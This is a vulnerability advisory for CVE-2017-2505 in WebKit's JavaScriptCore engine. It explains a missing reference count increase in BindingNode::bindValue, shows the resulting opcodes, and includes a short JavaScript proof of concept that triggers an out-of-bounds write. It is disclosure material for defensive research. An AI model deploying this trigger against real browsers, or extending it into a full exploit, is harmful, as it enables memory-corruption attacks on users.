WebKit JSC BindingNode::bindValue Failed Reference Count Increase

2017.05.26
Credit: lokihardt
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

WebKit: JSC: BindingNode::bindValue doesn&#39;t increase the scope&#39;s reference count CVE-2017-2505 Here's a snippet of BindingNode::bindValue. void BindingNode::bindValue(BytecodeGenerator& generator, RegisterID* value) const { ... RegisterID* scope = generator.emitResolveScope(nullptr, var); generator.emitExpressionInfo(divotEnd(), divotStart(), divotEnd()); if (m_bindingContext == AssignmentContext::AssignmentExpression) generator.emitTDZCheckIfNecessary(var, nullptr, scope); if (isReadOnly) { generator.emitReadOnlyExceptionIfNeeded(var); return; } generator.emitPutToScope(scope, var, value, generator.isStrictMode() ? ThrowIfNotFound : DoNotThrowIfNotFound, initializationModeForAssignmentContext(m_bindingContext)); generator.emitProfileType(value, var, divotStart(), divotEnd()); if (m_bindingContext == AssignmentContext::DeclarationStatement || m_bindingContext == AssignmentContext::ConstDeclarationStatement) generator.liftTDZCheckIfPossible(var); ... } That method uses |scope| without increasing its reference count. Thus, in |emitTDZCheckIfNecessary|, same |RegisterID| might be used. Generated opcode of the PoC: [ 124] resolve_scope loc13, loc3, a(@id4), <ClosureVar>, 0, 0x62d00011f1a0 [ 131] get_from_scope loc13, loc13, a(@id4), 1050627<DoNotThrowIfNotFound|ClosureVar|NotInitialization>, 0 predicting None [ 139] op_check_tdz loc13 [ 141] put_to_scope loc13, a(@id4), loc12, 1050627<DoNotThrowIfNotFound|ClosureVar|NotInitialization>, <structure>, 0 At 131, loc13 which points the scope is overwritten with |a|. At 141, |a| is used as a scope, and it causes OOB write. PoC: (function () { let a = { get val() { [...{a = 1.45}] = []; a.val.x; }, }; a.val; })(); This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top